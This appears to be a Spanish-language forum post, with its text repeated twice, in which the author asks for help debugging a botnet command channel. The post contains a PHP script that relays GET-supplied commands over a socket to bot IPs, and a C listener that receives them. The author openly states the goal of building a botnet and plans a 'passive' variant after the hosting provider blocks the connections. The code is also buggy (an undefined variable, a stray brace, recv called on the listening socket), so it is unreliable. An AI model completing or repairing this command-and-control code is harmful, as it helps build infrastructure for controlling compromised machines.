Vamos a ver, el código creo que no está mal, si no funciona por un fallo me daría una alegría, si lo es por limitaciones del servidor es otra historia.
Haber en el bot.php tengo el siguiente script:
Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.
Servidor C:
Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.
Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?
Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página

Salu2.
Haber en el bot.php tengo el siguiente script:
Código (php) [Seleccionar]
<?
$comando = $_GET['com'];
$bot = $_GET['bot'];
$port=5748;
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
$result = socket_connect($socket, $bot, $port) or die("Could not connect toserver\n");
socket_write($socket, $comando, strlen($message)) or die("Could not send data to server\n");
socket_close($socket);
}
?>
Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.
Servidor C:
Código (c) [Seleccionar]
#define IP "ip del server"
#define PUERTO 5748
int main()
{
WSADATA wsa;
int fd, fd2;
struct sockaddr_in server;
struct sockaddr_in client;
int sn_size;
char buf[60];
WSAStartup(MAKEWORD(2,0),&wsa);
if ((fd=socket(AF_INET, SOCK_STREAM, 0))==1)
{
printf ("Error en socketn" );
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port=htons(PUERTO);
server.sin_addr.s_addr=INADDR_ANY;
//bzero(&(server.sin_zero),8);
if (bind(fd,(struct sockaddr *) &server, sizeof(struct sockaddr))== -1)
{
printf("Error en bindn" );
exit(-1);
}
if (listen(fd, 1) == -1)
{
printf("Error en listenn" );
exit(-1);
}
printf("entro while ok");
while (1)
{
sn_size = sizeof(struct sockaddr_in);
if ((fd2=accept(fd,(struct sockaddr *)&client, &sn_size)) == -1)
{
printf ("error en accept n" );
exit(-1);
}
recv(fd,buf,50,1);
printf("Comando recibido: %s",buf);
printf("Se conectaron desde %s\n", inet_ntoa(client.sin_addr));
close(fd2);
}
return 0;
}
Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.
Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?
Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página



Salu2.